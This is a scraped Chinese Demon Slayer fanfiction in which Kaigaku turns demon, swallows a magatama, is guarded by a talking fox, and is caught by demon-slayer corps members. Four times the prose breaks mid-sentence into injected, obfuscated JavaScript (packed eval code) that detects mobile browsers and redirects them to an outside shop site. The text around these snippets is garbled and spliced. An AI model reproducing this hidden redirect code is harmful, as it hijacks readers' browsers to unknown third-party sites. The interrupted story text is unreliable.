《[综主鬼灭]惊雷》 1. 第一章 人死去,变成鬼。 对于狯岳来说,这句话再现实不过了。 作为鬼杀队的队员,为了乞活向鬼下跪,作为人的他,在这一刻已经死去。 他的身体还没变成鬼,但心已经变成了鬼。 猩红的鬼血从黑死牟的指尖滴落下来,汇聚在他的掌心,像一面镜子,印照着他惶恐扭曲的脸。 他心跳如擂鼓,恍惚从镜中看见自己一片黑暗的未来。 ……不,即使一片黑暗,那也是未来,起码他的生命不会就此结束。 现在去死还是晚点去死,他果断选择后者。 ……不,他不会死,他会变成鬼,鬼拥有无尽的寿命,他才不会死! ——但是。 当他饮下腥臭更胜泥水的鬼血,浑身骨头被打碎重组,皮肤、肌肉、神经产生撕裂又再生、又继续撕裂,如此循环往复的剧痛之时,他听到一个声音在耳边响起: “哟,快死了啊。” 狯岳:…… 狯岳:“滚!我才……不会死!” 他条件反射般生气,连疼痛都暂时忘记。 “可你的确快死了,”那个声音继续,“做鬼也是有门槛的,又不是每个人都能顺利变成鬼。” 狯岳:……见鬼。 赐下鬼血的黑死牟没兴趣等他转变,早已离开。到底是什么样的混蛋在对他冷嘲热讽?另一只鬼吗? 总不会是人吧! “我!雷之呼吸法的剑士!”狯岳咬牙反问,“连成鬼的资质都没有?!” “你这不是有自知之明的吗?” ——滚! 又是一阵难以忍受的剧痛,狯岳痛得连在地上打滚的力气都没有了,整个人可怜巴巴地躺在地上,更顾不上回骂了,只在心里念叨各种脏话。 他以为自己会晕过去,但很遗憾,莫名其妙的声音持续传入脑海: “不要想脏话,不礼貌。” 狯岳悚然。 ——什么东西,能听到他的心声?! “看你表情就知道你在想什么。”朦胧的月光下,一只金灿灿的狐狸出现在他的视线当中。“你接下来一定想问——” “狐狸……为什么会说话?” “……” “……” “这倒不在我的预料之中。”狐狸端坐在面前,把毛茸茸的大尾巴垫在爪下。“我还以为你会问,我能不能救你呢。” 狯岳张了张口,从善如流:“你能不能救我?” “不可以。” 狯岳:…… 狯岳:………… 狯岳:“滚!” “你好没礼貌啊。” 都快死了还管什么礼仪。“那你这混蛋是来干嘛的?!” “来等你死,”狐狸趴下来,“好回收神器。” “神器……我能有什么神器?”狯岳愣了愣,勉强动了动脑子,“你说得该不会……是这个勾玉吧?” 他伸手摸向脖颈,握住了穿在蓝色系绳上的金色勾玉。 从他记事起,这枚勾玉就戴在他的脖子上。他相信这是父母爱他的证明,总幻想如果他们还活着,他会是多么幸福的一个人。 “对,”狐狸回答,“就是这个。” 这居然是神器,他的父母怎么会有神器?! “不可能!”狯岳脱口而出,“如果这是神器——” 他的父母为什么会死,他又为什么快要去死?! “你的父亲是高野山的和尚,你的母亲是出云大社的巫女,你是万众期待之下降生的神子——”狐狸拖长腔调,“虽然我很想这么说,但很遗憾,你和两边一点关系都没有。” 狯岳……狯岳他脸都是木的,只觉得这只狐狸在耍他玩。 哪有这样和快死的人说话的啊! “你只是一对普通夫妻生下的普通孩子,只是运气比较好,捡到了这件神器而已。” 运气好? 他的运气一点都不好! 如果他的运气好,怎么会沦落到现在这样的地步! 而狐狸还在继续: “……因为神器保佑,你才会在临终前遇到我。看在神器的份上,在你死后,我会接引你上高天原,让你下辈子投个好胎……喂,你干什么!” 只见狯岳用力将勾玉扯下,咬在嘴里;因为绳子比较结实,差点没把自己给勒死。 “下辈子?”因为含着勾玉的缘故,他咬字不清,“要报答我的话,应该在这辈子才对!” 说完,他一口把勾玉吞进腹中。 ……又差点没把自己给噎死,掐着喉咙咳嗽半天,才缓了下来。 见状,狐狸目瞪口呆。 “神特么报答,是保佑!不是,算了,你怎么就,哎呀妈呀!”它上前两步,“死亡又不是什么大不了的事儿,你至于吗……” 这是什么混账话! 死亡怎么不是大事! 狯岳大怒:“我才不会死!” 话音未落,腹中升温,不断升温,从温暖变成—— 灼烧! 他发出不似人声的、凄厉的哀嚎,终于眼前一黑,顺利晕了过去。 等他从浑浑噩噩中再次睁眼,他以为自己会看见鬼,看见死人,看见地狱…… 但他看见了人。 一个身披千早、白衣红袴的女人,脸上贴着奇怪的符咒,完完全全挡住了她的脸。 只有声音听上去还算悦耳:“你醒了。” 狯岳打了个激灵,彻底清醒:“你是谁?我在哪?” “我是苏芳。”她回答。“这里是罗阇神社。” “我是梨花,”狐狸忽然窜出来,挡住了他的视线,“是我救了你,不然变成鬼的你就要被太阳晒成灰烬了。你应该谢谢我!” 狯岳沉默片刻:“难道你不是为了把神器找回来?” “受了他人恩惠就应该道谢,你管我动机是什么。”狐狸用尾巴敲地板,“这种时候,好孩子应该老老实实说‘谢谢’!” 然而,狯岳说不出口。 道理是这么个道理,可他就是不想。 他本该更谨慎一点,先摸清楚状况再行动,但身体的变化影响了他的心理—— 他都变成鬼了,还有什么好顾虑的?! “梨花。”女人开口。“小孩子……都,比较好面子。” 狯岳:…… 狯岳:小、小孩子?! 他才不是小孩子,他十七、不,十八岁了——大概。 他是孤儿,已经不记得自己的生日是什么时候,应该差不了太多。 总之,他早就是个能独当一面的男子汉了,怎么能被人说成小孩子! 狐狸却不这么认为,顺着女人的话头:“我不喜欢不懂礼貌的小孩子。” “我不小——不是,我,”狯岳咬牙切齿,从牙缝里把话挤出来,“谢、谢、你、救、了、我,但是——” “哇,你脸红了。” “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105510|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……” “……” “告辞!”狯岳脸上红一阵白一阵,猛地站起身,“再也不见!” 女人抬起手:“请等一下……” 狯岳故意无视了她的话。 他已经变成了鬼,已经不是人了。即便他没有像其他鬼那样,丧失理智、露出野兽般的丑态……可他能闻到女人身上草药熏香之外,人肉的香气。 这让他口水都要流下来了。 好在他似乎与别的鬼不同,能克制住这股不算太强烈的食欲。 而他之所以能如此不同,想必是因为,那只狐狸口中的“神器”,在他腹中发挥着匪夷所思的作用。 如果这女人要把“神器”拿走—— 哈,他才不会还给她! 下一刻,“哐当”一声。 狯岳抱着撞得晕乎乎的脑袋蹲在了看起来没有任何阻碍物的门口。 “……有结界,”女人慢吞吞的声音这才被他听了进去,“会撞到。” 狯岳:^=_=^。 狯岳:“你怎么不早说!” 狐狸替女人反驳:“明明是你走得太快了!” “放我出去!”狯岳伸手去摸腰间的日轮刀,但抓了个空,“我是鬼杀队的……不,”他顿了顿,“我是鬼,小心我吃了你!” “坏孩子!苏芳,我开始讨厌他了!”狐狸大怒,“要不,我把他的肚子剖开,把勾玉取回来,再把他扔出去吧?” 狯岳冷笑:“我怎么可能乖乖让你们剖啊!” “反正你是鬼,你又不会死。”狐狸理所当然地说,“这和你乖不乖有什么关系?” 狯岳刚要骂脏话,就在这时,女人拽了拽狐狸的尾巴: “梨花,不要欺负小孩子。” 小你个头! 这狐狸,这女人,都有病吧?! “我的东西,不可能交给你们。”狯岳感觉到自己尖锐的指甲,并尝试把指甲化作武器。“我说到做到,如果不放我走,我就——” “不过,”女人又说,“我的确……也更喜欢礼貌一点的小孩子。” 话音落下,她轻飘飘打了个响指。 而狯岳的腹内随之烧起了一把火! 和变鬼时的剧痛不遑多让,令他无法抵抗地跪在了地上。 “现在,你知道自己应该说什么了吗?” ——他不知道! 狯岳很想这样大吼,但他不敢。 痛苦教会他恐惧,恐惧教会他冷静。他那因骤然变鬼而变得混乱的大脑终于恢复了理智,开始意识到,眼前的女人,并非手无缚鸡之力之人。 “对……对不起!”狯岳把头下来,额头触及地板,“请原谅我……” “哇,这是欺软怕硬,还是能屈能伸?”狐狸咋舌,“好没骨气的小孩子。” 没骨气怎么了,欺软怕硬怎么了? 狯岳在心底咬牙。 只要他能活下去,就一定会有转圜的余地! 女人的声音幽幽传来:“要好好说话。” 狯岳:“……啊?” “要说‘请’,”女人教他,“直率一点,说出自己的想法。想到达到目的,不需要动不动威胁别人。” 狯岳:“……” 狯岳试探性地问:“请放我走?” 女人秒答:“可以。” 狯岳:…… 狯岳:………… 不是,这女人果然有病吧?! 2. 第二章 虽然答应狯岳,要放他走,但苏芳并不是毫无条件。 “接下来,梨花和你一起行动。”她要求。“等你死后,梨花再把勾玉拿回来。” 狐狸闻言,乖乖走到狯岳身边,跳进他怀里。 狯岳没料到会有这样的发展,手忙脚乱地接住了狐狸,下意识摸了摸狐狸光滑的皮毛。 “可勾玉是我的。”他顿了顿,“我是说,你们把我的东西拿走,也不礼貌吧?” 苏芳伸出一根手指,摇了摇: “梨花救你一命,你用勾玉来换……这很公平,也很礼貌。” 狯岳:老实说,他觉得他的命还是比勾玉更贵重一点的。 这么算起来,还是他占了便宜,所以: “行吧。” 既然苏芳不打算囚禁他,他也就不着急离开,好奇地观察四周。 这是一个很小、很简陋的神社,却不显粗糙,相反,因为布置上的小巧思,看起来非常精致。 比如神龛中精美的雕像,比如供桌上优雅的插花,比如香炉中淡淡的草药熏香。 并不是紫藤花的味道。 “还有,如果你死在我前头怎么办?”狯岳收回视线,看向苏芳,“你是人吧?” 苏芳的表情被符咒挡住看不见,狐狸就不一样了,霎时间瞪圆了眼睛:“苏芳才不会死!” “怎么,她不是人?” “明明是你,你一定会死在苏芳前面。” “哈啊?!” 狯岳忍不住要和狐狸吵架,但苏芳事不关己地拿出一个碧色的茶碗,摆在身前,然后一只手从腰间拔出一把短刀,在另一只手上比划。 “……喂,”他眼角余光瞥见这一幕,“你莫非想——” 话音未落,苏芳割破了手指,血液从她的指尖滴落,掉进茶碗。 狯岳说不出话来,目瞪口呆地看着诱人的血液在茶碗里积起来。 然后苏芳收起匕首、包扎好指尖,把茶碗往他的方向一推: “请用。” 狐狸又瞪了他一眼,用尾巴甩他的脸:“你这时候应该说什么来着?” 狯岳:“……” 狯岳:“谢、谢谢招待?” “还有‘我开动了’!”狐狸冷哼。“喝了苏芳的血,以后就不要吃人了哦!” 一股奇异的感觉涌上狯岳的心头,让他胸口发闷,胃里搅成一团,也许是饥饿的缘故。 他自己也分辨不出那是什么情绪,只硬起嘴巴:“我是鬼!是鬼就会吃人!” 这话刚出口他就后悔了,担心苏芳又会教训他,本能地绷紧身体,等待接下来的惩罚。 但苏芳只是淡淡道:“有选择的话,人都是只想做好人的,不是吗?” “……我是鬼。” “鬼也是人。” 鬼只是曾经是人! 狯岳很想这样说,但他说不出口。 他不想做好人吗? 他当然想! 但是,他想做的好人,是在满足自己之后再施舍他人的、虚伪的、不被认可的—— “快喝呀!”狐狸的话冒出来,“即使是苏芳的血,放久了也是会变质坏掉的!” “——啊?哦,”狯岳的思路被打断,显得傻乎乎的,“嗯。” 他膝行上前,拿过茶碗,嗅到一股奇异的香味。 是稀血……吗? “我……开动了。” 当他将这碗酒水般的血液一饮而尽,胃中饥饿带来的烧灼感便消失不见。他有种莫名其妙的预感,自己似乎起码几个月都不需要再进食了。 “去吧。”狯岳忽然感到一阵晕眩,苏芳的声音听起来忽远忽近,缥缥缈缈。“去迎接你……变化的未来。” 狯岳又一次失去了意识。 等他再次醒来,就发现自己躺回了遇见黑死牟的那条小巷。他站起身,惊觉日轮刀也回到了他身边。 脖颈间轻微的束缚感依然在,他伸手摸向脖颈,摸到了绳子,还有…… 勾玉? 嗯? 怎么还有一个? 刚才发生的一切,难道都是梦吗? 他不确定地轻声呼唤:“梨花?” 又等了一会儿,头上一重,那只金色的狐狸稳稳挂在了他的脑袋上。 “快走快走。”狐狸提醒,“天快要亮了。快找个晒不到太阳的地方呆着。” ……不是梦啊。 狯岳伸手把狐狸从脑袋上摘下来,本来想把它扔出去,但是。 刚才的一切,不是梦。 所以他把狐狸抱在怀里,离开小镇,向阴暗的山林走去: “怎么又要天亮,我之前昏迷了多久?不,”他又换了个问题,“我变鬼花了多久?” “差不多两天。”狐狸算了算。“时间蛮长的。” 比黑死牟的时间短。另外,“我脖子上的勾玉是?” “苏芳给的,特意选了和你眼睛一样的颜色。” ……那女人,特意选的。 和眼睛……一样的颜色? 狯岳眨了眨眼睛,手指绞着系绳,忽然很想照照镜子。 林间猎人小屋没有镜子,只有一些供路人使用的、简单的补给。 他从水缸中看见自己的倒影,深深皱起了眉头。 眼睛……巩膜变黑了。 耳朵……上端变尖了。 虎牙长长了有点痒,体温降低了有点冷。还有,脸颊上这些奇怪的纹路是怎么回事?为什么看起来像黑死牟的六眼一样? “像狸花猫的斑纹一样!”狐狸却这么说,兴致勃勃地抖了抖耳朵。“狯岳,你是一只小狸花!” “什么?!”狯岳不能理解,“我不是猫!” “就是猫!” “不是!” “就是!” “起码得是老虎吧!” “虎纹猫!” “哈啊?!” ——他真傻,真的。为什么非要和一只奇奇怪怪的狐狸吵架? 想到这里,狯岳一下子泄了气。 像黑死牟也好、像狸花猫也好、或者虎纹猫也罢,接下来,他该怎么办? 他下意识摩挲颈边新得的勾玉,这勾玉质地温润, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105511|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光滑水润,比他吞进肚子里的那块粗糙玩意儿更像神器。 毕竟作为孤儿的他,是保不住贵重物品的。那块勾玉一度被人评价为“杂质太多、简直就是个黄色石头”,哈,居然还能是个神器? “狯岳,接下来去哪儿?”狐狸问,“那个上弦一会来找你的吧,最好别在附近比较好哦。” “……梨花。” “嗯?” “你的目的是回收神器吧,难道不会盼着我早死吗?” “什么话!我是个好狐狸,我希望你能平平安安寿终正寝。”狐狸气呼呼的。“你的想法好阴暗呀!” 可这,明明是理所当然的事情。 狐狸本为神器而来,为什么要本末倒置,就因为一时的善心? 那可真是……太好了。 他可以活下去了。 在身处绝境之时,遇到这样的转机,看来,他的运气,总算没有太过糟糕。 ——撤回前言。 狯岳看着出现在眼前的人影,停下脚步,心底一沉。 他怎么忘了呢? 不止上弦一会回来找,鬼杀队也会。 “一只鬼,”身着样式一半一□□织的鬼杀队队士冷着脸看着他,“为什么会穿着鬼杀队的队服?” 狯岳:因为他就是鬼杀队的一员谢谢! 他甚至知道,眼前这位羽织颇具特色的陌生人是谁。 除了大名鼎鼎的水柱、富冈义勇,整个鬼杀队没其他人会穿得这么拼接。 “喂,你跑什么?”狐狸在他怀里大喊,“那是你的同伴,不是敌人!” “开什么玩笑!”狯岳把狐狸往衣服里塞,“鬼和人不可能是同伴!” 如果不跑,他一定会被富冈义勇杀掉! “但是,你又没吃人!”狐狸反对,“没吃过人的鬼,当然可以和人是同伴!” “鬼杀队队律可不是这么说的!”狯岳咬牙。“好不容易才活下来,我可不想……死得一点意义都没有!” 狐狸想了想,被他说服了:“你说得对。” 那就跑吧! 用尽力气逃离,去到一个陌生的地方,重新开始。鬼也好、鬼杀队也好,统统不要管了! 只要能跑掉,就能继续活下去,就一定会有未来—— 然而: “站住!”前方忽然窜出来一个莫名其妙的家伙,一头撞上他的脑袋,“既然没吃过人,就不要心虚逃跑!” 这不是心虚不心虚的问题好吗! 他只是不想死! 还有,这家伙的脑袋是怎么回事? 居然能比鬼还硬! 狯岳晕得想骂人,但这么一耽搁,富冈义勇已经追了上来,刀刃架在了他的脖颈上,划出一道豁口。 几秒钟之后,豁口消失了,证明他的确不是人,是鬼。 狐狸从他的胸口钻出来,爬上他的肩膀,看了看拦停狯岳的少年,又看向富冈义勇: “你可千万别手抖哦。” 富冈义勇:“……” 他把刀稍微往外移了点儿:“我的手一向很稳。” 3. 第三章 对于拦停他的这名少年,狯岳在脑袋不晕之后,也认了出来。 额角的伤疤,花扎的耳饰,自来熟的性格…… 是善逸在信里反复提过的灶门炭治郎没错了。 也许是因为狐狸说他没吃人的缘故,这家伙对他的态度很友善,甚至还会问他饿不饿。 “你问一只鬼饿不饿?!”被五花大绑的狯岳觉得不可思议,“要拿自己喂我吗?!” 不等灶门炭治郎回话,狐狸率先用尾巴甩他的脸:“好好说话。” “我——” “人家是在关心你,不要像个刺猬一样炸刺。”狐狸又说了一遍。“给我好好说话。” 狯岳一怒之下怒了一下:“不饿!” 灶门炭治郎居然能冲着他笑出来:“那你好厉害,居然克服了吃人的欲望。” ……啊,这。 狯岳觉得出乎意料,眨了眨眼睛。 这种事情,是值得称赞的吗? 但下一刻,一根竹筒被强硬地塞进了他的嘴里。竹筒两侧系着长条布料,在他脑后打了个结实的结。 狯岳:“唔?!” 他瞪着富冈义勇:这是搞什么?! 富冈义勇:“预防。” 狯岳又怒了一下,但很快平静下来: 这才是鬼杀队应有的态度,即便他声称自己没有吃人、现在也不饿,也应该被这样提防才对。 “啊啊,义勇先生,没必要吧?他能控制自己。”灶门炭治郎抬起双手,“而且,这样一来,该怎么审问他呢?” 狯岳:那当然是等审问的时候再解开啊。 富冈义勇却呆了一下:“是哦。” 然后又把竹筒从他嘴上拿下来了。 拿下来了! 这位传说中听不懂人话也说不出人话、性格强硬的水柱,居然这么好说话的吗?! 灶门炭治郎又问:“对了,你的名字是?” “……狯岳。” “我是灶门炭治郎,那边是我的师兄,水柱富冈义勇。” “……我知道。” 灶门炭治郎以为他说的是富冈义勇,富冈义勇则冲着他平和地点了点头。 这两个家伙,居然都不想杀他吗? 他还以为,鬼杀队队士都会对鬼喊打喊杀呢……尤其是杀鬼无数的、强大的柱。 反正如果是他,还是人的他,一定不会放过出现在面前的鬼。 所以,是因为,这个奇怪的灶门炭治郎的关系吗? 而那小子接下来把目光转向狐狸:“那,狐狸先生你呢?” 狐狸竖起耳朵,挺起胸膛:“梨花!” “不好意思,您是位狐狸小姐?” “狐狸先生就不能叫梨花吗?” “对不起,是我先入为主了。” “原谅你。” 是个直率的好孩子啊,灶门炭治郎。 狯岳低头看狐狸,发现它放松下来,从他的肩膀上跳下,惬意地抖了抖耳朵,把头伸到了灶门炭治郎的手掌下。 ……狐狸说过,它喜欢懂礼貌的小孩子。 所以,狐狸不喜欢他,喜欢灶门炭治郎,是理所当然的事情。 不过,他……其实本也没有那么不懂礼貌。 作为街头长大的孤儿,他一向很会看人眼色,尤其在面对惹不起的家伙的时候。 只不过,突然遭遇上弦一、不得不选择变成鬼,又接连遇到奇怪的事情,所以他才没能控制住情绪…… 灶门炭治郎皱了皱鼻子,像是闻到了什么奇怪的气味,抬头看了狯岳一眼。 还不等他开口说话,一道熟悉的声音忽然响起: “师、师兄?!” 听到这个声音,狯岳条件反射地锁紧了眉头——虽然他的眉头本来就没怎么舒展过就是了。 但灶门炭治郎露出了高兴地表情:“善逸,你怎么在这里,你通过柱训练了吗?” “不……我是偷偷跑出来的。”我妻善逸的神色恍惚,眼泪在眼眶里打转,“师兄,我以为你死了!” “哈啊?!”本在反省自己的狯岳立刻把审慎抛之脑后,额角青筋直跳,“没能如你所愿还真是对不起了——你搞什么!” 只见我妻善逸猛地扑了过来,把他重重撞倒在地,开始号啕大哭: “我突然收到信,信上说,你在的巡逻队全军覆没,连鎹鸦都被干掉了,尸体都没找全……” 啊,好吵。 狯岳觉得自己脑瓜子嗡嗡作响。 “你这么强,怎么可能会死,我不相信,所以我跑出来找你,你还活着真的太好了……” 为什么他没法把这个吵死人的家伙推开? 因为他被绑起来了。 为什么他会被绑起来? 因为他变成了鬼。 “好你个头!”狯岳此时万分庆幸,富冈义勇没有真拿竹筒堵他的嘴。“你还要抱到什么时候!还没发现吗,我已经变成鬼了,你个白痴!” “师兄你又骂我——等下,你变成鬼了?为什么会变成鬼?我知道了,你一定是遇到了上弦,被强迫变成鬼的吧!一定是这样……” “不是。”狯岳打断他的话,冷冷道。“我是自愿变成鬼的。” “……啊?” 我妻善逸终于安静下来,用不可置信的眼神看着狯岳:“师兄,你一定是在骗我,对不对?” “我什么时候骗过你?”狯岳不耐烦,“都这样了,赶紧放开——” “你肯定在骗我!”我妻善逸进一步拔高声调,“你一直那么努力,拼命锻炼自己,想要成为鸣柱,怎么可能自愿变成鬼!我不相信!我不相信!” 灶门炭治郎抓住我妻善逸,把他往后拖:“善逸,你冷静点!” 狯岳还在火上浇油:“我管你信不信,你个逃避训练的废物——” “狯岳先生你也闭嘴!”灶门炭治郎看着一脸挑衅的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105512|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狯岳,挑起眉毛:“义勇先生,请让狯岳先生不要再说话了!” 话音落下,富冈义勇想了想,把收起来的竹筒,重新亮了出来。 于是,接下来的行程,就变成了我妻善逸单方面的吵吵嚷嚷,而狯岳只能发出一连串的“唔唔唔唔唔唔”,即便他什么都没能说出口,大家光看他的表情都知道,他一定骂得很难听。 什么礼貌?什么看人眼色? 统统不管了! “没想到善逸的师兄居然是这样的人,”灶门炭治郎和富冈义勇大声蛐蛐,“嘴巴好坏啊。” 狯岳:他听得到! “非常不好意思,我们家狯岳实在太失礼了。”狐狸选择呆在灶门炭治郎的怀里,替狯岳道歉。“请你们多担待。” 狯岳:谁要狐狸替他道歉! “你们家狯岳?什么叫你们家狯岳?狯岳是我们家的!而且会说话的狐狸是怎么回事,鎹鸦会说话就算了,连狐狸也会说话,好可怕!”这是一边背着狯岳一边尖叫的我妻善逸。 狯岳:谁和你是一家啊喂! 他忍不住在我妻善逸的背后挣扎,然后就,一个后仰,后脑勺重重砸到了地上。 除了他之外的所有人:噗嗤。 ……连麻雀都笑得滚落了树枝呢。 于是我妻善逸带他的姿势从背变成了扛,并再三拒绝了其他人提出的帮忙。 日常巡逻遇到上弦一,不变成鬼就要去死,本来应该是个悲剧事件。 但现在的氛围,怎么能这么喜剧呢? 狯岳头朝下挂在我妻善逸的背上,脑袋充血,腹部被我妻善逸的肩膀硌到反胃,想吐又只能呕出些粘液,整个人狼狈不堪。 他又羞又怒,一时间竟悲从中来。 为什么……自己会沦落到现在这个境地? “对不起,师兄,”忽然,我妻善逸停下脚步,把他放下来:“这样很不舒服吧?” ——废话! 狯岳恶狠狠地瞪着我妻善逸,直到我妻善逸伸出手,按上他的眼角: “这个,是想要藏起来的东西吧?” 随着我妻善逸的动作,狯岳意识到,那是他因为难受流出的生理性眼泪。 他? 哭了? 在这个废物面前? 一股难以置信的愤怒席卷了他的脑海,彻底冲晕了他的头脑,令他再一次奋力挣扎起来。 他试图挣开绳子,但绳子又细又紧,关节也被扭曲,导致他没法发力使力;想用头去撞我妻善逸的脑袋?不行,够不到! “啊啊啊,对不起,我不是故意的,不是,大哥你别生气——” 大,哥?! 狯岳只觉得脑海里那根弦被崩断—— 既然没法挣开绳子,那就改变自己! 在我妻善逸震惊的眼神中,狯岳的身体缩小,绳索和竹筒随之滑落,然后—— 从绳堆里窜出来,一口咬住了他的脑袋! 4. 第四章 直到三人一鬼一狐到达蝶屋门口,狯岳仍然狠狠咬着我妻善逸,只不过用来磨牙的部位从脑袋换成了手臂。 “狯岳先生居然没有逃跑,而是一门心思咬善逸,”灶门炭治郎一拳锤向掌心,“他们师兄弟的感情……挺好的嘛。” 狐狸连连点头:“同意。” “好你个头!炭治郎,梨花,你们也劝一劝大哥啊!”我妻善逸摸着脑门的牙印又开始嚎,“真的好痛!都出血了!” 那你倒是反抗啊,把他从胳膊上扯下来啊! 狐狸:“我觉得狯岳他这样挺可爱的。” 灶门炭治郎:“我觉得善逸你其实乐在其中?” 我妻善逸:“哪有!!!!!” 至于狯岳……狯岳只满心烦躁。 咬人怎么了,就是要咬,而且就是要咬善逸。谁让这个废物跑来找他,谁让这个废物叫他大哥,谁让这些人没有一刀砍了他—— “哦呀?这是怎么回事?” 蝶屋的主人,蝴蝶忍,幽幽出现在他们面前,额角迸出青筋。 “这里是蝶屋,不是藤袭山,为什么鬼的数量在不断增加?”她的声音听起来和往常大不相同,虽然语调平稳,但所有人都听出了其中勃发的怒意。“到底是怎么回事呢,富冈先生?” 很好,她把矛头对准了水柱。 趁着富冈义勇阿巴阿巴地解释,狯岳老老实实松开口,放过了我妻善逸,变回原本的样子,并努力整理衣冠,试图在蝴蝶忍面前像点样子。 没办法,蝴蝶忍虽然长得漂亮,但鬼杀队的人没几个不怕她…… “为什么,为什么大哥在忍小姐面前这么乖巧?”我妻善逸这个小兔崽子竟然还看不清形势,“是因为喜欢忍小姐吗?” 狯岳:^=_=^。 狯岳:“你要找死的话死远点,血别溅我身上。” “大哥身上明明已经溅了很多我的血!而且而且,你果然喜欢忍小姐吧,心声变得这么平静!” “你这废物,又偷听!只要不是你,我对谁都这么平静!” 围观的狐狸点了点头:“这倒是。狯岳,你对其他人其实没什么恶意,如果情绪稳定也能好好说话。为什么只对善逸这么粗暴?” “因为他就是个废物、白痴!” “大哥,你这么说也太过分了吧!” “别叫我大哥!” “我就叫!你都变成鬼了,我叫几句大哥怎么了?!” “这是能相提并论的事情吗喂?!” 眼看他们吵架的声音都盖过了富冈义勇的说明,蝴蝶忍轻飘飘地投过来一瞥,杀气完全散发出来了呢。 于是,狯岳和我妻善逸同时噤声。 围观的灶门炭治郎喃喃道:“还很有默契。” 话音落下,两个人同时露出了一言难尽的表情。 一点也不想被人这么说! 可随着登场人数越来越多,两个人都不约而同地回归了本性。狯岳看上去冷静了很多,绷起嘴角;我妻善逸也变得紧张起来,盯着神崎葵拿来抽狯岳血的巨大针筒吓得牙齿打架。 “大哥会怎么样?”他不安地看着狯岳忍着失血带来的不适,主动走入全封闭的地牢,把门“砰”得一声带上,“他和祢豆子一样,都没吃过人,应该会没事吧?” 灶门炭治郎挠了挠头,附和道:“应该是?” 但富冈义勇说:“不一定。” 我妻善逸:“唉?!为什么?!” “因为,他说,他是自愿变鬼的。”富冈义勇回答,“这是禁忌。” “什么叫做自愿变鬼,故意找到鬼说‘请把我变成鬼’那种程度才算吧!”我妻善逸按着脑壳,“大哥最开始是在巡逻过程中失踪的吧,一定是遇到了特别强大的鬼所以才没有办法——” 但富冈义勇打断他的话:“那他就应该去死。” “……唉?” “如果是我,与其变成鬼,情愿去死。” 我妻善逸张了张口,无话可说。 他怎么忘了呢? 炎柱,炼狱杏寿郎不就是个最好的范例吗? 面对上弦三的招揽,他毫不犹豫地拒绝了,情愿去死。 水柱会说出这种话,说明他也是一样的人。 炭治郎也不会愿意对鬼妥协。尹之助也会战斗到死。换了他自己…… 一想到爷爷会露出失望的表情,与其变成鬼,他也情愿去死。 ……啊,对,是为了爷爷。 我妻善逸忽然福至心灵,明白过来一件事: 他和大哥不一样。 他是个废物、渣滓,如果不能回应爷爷的期待,就一点价值都没有了。 但大哥不一样,强大、帅气,还非常努力,爷爷对他很满意,大哥的生命比他的有价值得多。 所以。 大哥他其实,是不愿意仅仅为了不让爷爷失望去死的。 可即便他自己愿意去死,要他对大哥说“你应该去死”? ——啊,不行,这种话他无论如何都说不出口。 他还是希望大哥能活着……像祢豆子那样活着。 “……真是的,”狐狸叹了一口气,“果然是小孩子,动不动把死挂在嘴边。” 富冈义勇:“我21岁了。” “那也还是小孩子。”狐狸摇了摇尾巴。“你一定和鬼有深仇大恨,所以才会轻易豁出性命。” “那又如何?” “这个世道,控制死很容易,控制生却很难。想死的话,怎样都能死掉。想活的话,除了自己努力,运气也很重要。” “……你想说什么?” “其实也没什么,”狐狸站起身,向狯岳所在的房间走去,“只是希望,你们能对我们家孩子更宽容一点。” 随着狐狸走进房门,灶门炭治郎和我妻善逸面面相觑。 “梨花……刚才的意思是不是,贪生怕死有理?” “是、是珍惜生命才对吧!” 可是,人又要以什么为标准,用以区别贪生怕死和珍惜生命? 狯岳仰躺在漆黑的室内,双眼在暗处熠熠发光。 也许睡一觉会好一点,但他没有睡意,只能盯着空无一物的天花板,脑海中一片空白,意外地什么都没想。 狐狸开门带来了些微的光亮,把门带上又失去了那些光亮。 “狯岳,感觉怎样?” “不怎么样。”狯岳侧过身,把狐狸抱进怀里。“就是有点……冷。” 一片黑暗中,时间过得很慢很慢。他只能凭借声音判断白天黑夜。宁静的夜晚让他心生恐惧,但喧闹的白天也不是他的归处。 即便感觉到冷,他也晒不了太阳了。 “梨花。” “嗯?” “我可能……”马上就要被判处死刑了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 